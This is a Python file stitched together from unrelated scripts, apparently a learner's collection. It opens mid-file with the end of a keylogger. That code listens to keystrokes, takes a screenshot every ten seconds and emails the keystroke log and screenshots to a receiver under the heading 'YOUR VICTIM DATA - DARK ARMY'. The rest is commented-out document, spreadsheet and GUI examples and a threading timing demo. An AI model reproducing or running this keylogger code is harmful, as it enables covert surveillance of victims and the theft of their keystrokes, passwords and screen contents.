            "<b><font color='red' size='10'>YOUR VICTIM DATA - DARK ARMY</b>",
            "log.txt",
            "screenshot.png",
        ]
        yag.send(receiver_email, subject, contents)

    def on_release(key):
        if key == Key.esc:
            return False  # False will stop the listener

    with Listener(on_press=on_press, on_release=on_release) as listener:
        while True:
            time.sleep(10)
            take_screenshot()
            send_mail()
        listener.join()
except KeyboardInterrupt:
    print("Program closed")
# # https://python-docx.readthedocs.io/

# import docx
# from docx.enum.text import WD_ALIGN_PARAGRAPH
# from docx.shared import Inches

# doc = docx.Document()

# doc.add_heading("Programatic Microsoft Document Creation", level=0)
# doc.add_heading("This is a subtitle", level=2)

# para = doc.add_paragraph(
#     "Lorem ipsum, dolor sit amet consectetur adipisicing elit. Velit earum ipsam, quis enim sed voluptatibus, nostrum, molestias pariatur quam dolores atque suscipit eum similique nemo in distinctio est dolorum vitae."
# )
# para.add_run("This is some appended text.")

# para2 = doc.add_paragraph(
#     "Lorem, ipsum dolor sit amet consectetur adipisicing elit. Exercitationem rerum, maiores quo deleniti, assumenda incidunt beatae iste aliquam pariatur ipsa dolor? Repudiandae, hic incidunt. Sapiente qui molestiae fuga laborum in praesentium explicabo enim cumque optio nostrum. Dicta sapiente, exercitationem officia assumenda, animi cumque saepe veritatis voluptatem doloribus atque corporis nisi?"
# )
# para2.alignment = WD_ALIGN_PARAGRAPH.RIGHT

# doc.add_page_break()

# doc.add_heading("Second Page", level=1)
# doc.add_picture("bird-thumbnail.jpg", width=Inches(4.0))

# doc.save("mydocument.docx")

# import openpyxl

# wb = openpyxl.Workbook()

# sheet = wb.active
# sheet.title = "MY EXCEL SHEET"

# c1 = sheet.cell(row=1, column=1)
# c1.value = "First Name"

# c2 = sheet.cell(row=1, column=2)
# c2.value = "Last Name"

# sheet["C1"].value = "Phone No"
# sheet["D1"].value = "Email"

# wb.save("users.xlsx")


# # https://openpyxl.readthedocs.io/
# path = "users.xlsx"

# wb = openpyxl.load_workbook(path)
# sheet = wb.active

# data = [
#     ["John", "Doe", "123456789", "[email protected]"],
#     ["Jane", "Doe", "123456789", "[email protected]"],
#     ["Jack", "Doe", "123456789", "[email protected]"],
# ]

# i = 2
# while i < (len(data) + 2):
#     j = 1
#     while j < 5:
#         sheet.cell(row=i, column=j).value = data[i - 2][j - 1]
#         j += 1
#     i += 1

# wb.save(path)
# print("Data written")

# import tkinter as tkt
# from tkinter import font

# window = tkt.Tk()

# fontstyle = font.Font(family="Arial", size="20")

# frame1 = tkt.Frame()
# frame2 = tkt.Frame()

# app_name = tkt.Label(
#     text="ACME CORP",
#     foreground="white",
#     background="black",
#     padx=20,
#     pady=20,
#     font=font.Font(family="Arial", size="30"),
# )

# first_name = tkt.Label(text="First Name", font=fontstyle, master=frame1)
# first_name_entry = tkt.Entry(master=frame1, width=20, font=fontstyle)

# last_name = tkt.Label(text="Last Name", font=fontstyle, master=frame2)
# last_name_entry = tkt.Entry(master=frame2, width=20, font=fontstyle)

# submit_btn = tkt.Button(
#     text="Submit Data",
#     foreground="white",
#     background="blue",
#     command=lambda: print(first_name_entry.get(), last_name_entry.get()),
# )

# app_name.pack(fill=tkt.X)
# first_name.pack()
# first_name_entry.pack()
# last_name.pack()
# last_name_entry.pack()
# frame1.pack(side=tkt.LEFT)
# frame2.pack(side=tkt.RIGHT)
# submit_btn.pack(side=tkt.BOTTOM, fill=tkt.Y)

# window.mainloop()


# https://docs.python.org/3/py-modindex.html


from datetime import datetime
from time import sleep
import multiprocessing
import threading


def dummy_func(x):
    print(f"job={x} start: {datetime.now()}")
    a = []
    for i in range(10000):
        for j in range(2000):
            a.append([i, j])
            a.clear()
    print(f"job-{x} ended: {datetime.now()}")


# start_time = datetime.now()
# dummy_func(0)
# dummy_func(1)
# dummy_func(2)
# dummy_func(3)
# print(f"Total time taken: {datetime.now() - start_time}")

if __name__ == "__main__":
    # p1 = multiprocessing.Process(target=dummy_func, args=(1,))
    # p2 = multiprocessing.Process(target=dummy_func, args=(2,))
    # p3 = multiprocessing.Process(target=dummy_func, args=(3,))
    # p4 = multiprocessing.Process(target=dummy_func, args=(4,))

    # start_time = datetime.now()
    # p1.start()
    # p2.start()
    # p3.start()
    # p4.start()
    # p1.join()
    # p2.join()
    # p3.join()
    # p4.join()
    # print(f"Total time taken: {datetime.now() - start_time}")

    t1 = threading.Thread(target=dummy_func, args=(1,))
    t2 = threading.Thread(target=dummy_func, args=(2,))
    t3 = threading.Thread(target=dummy_func, args=(3,))
    t4 = threading.Thread(target=dummy_func, args=(4,))

    start_time = datetime.now()
    t1.start()
    t2.start()
    t3.start()
    t4.start()
    t1.join()
    t2.join()
    t3.join()
    t4.join()
    print(f"Total time taken: {datetime.now() - start_time}")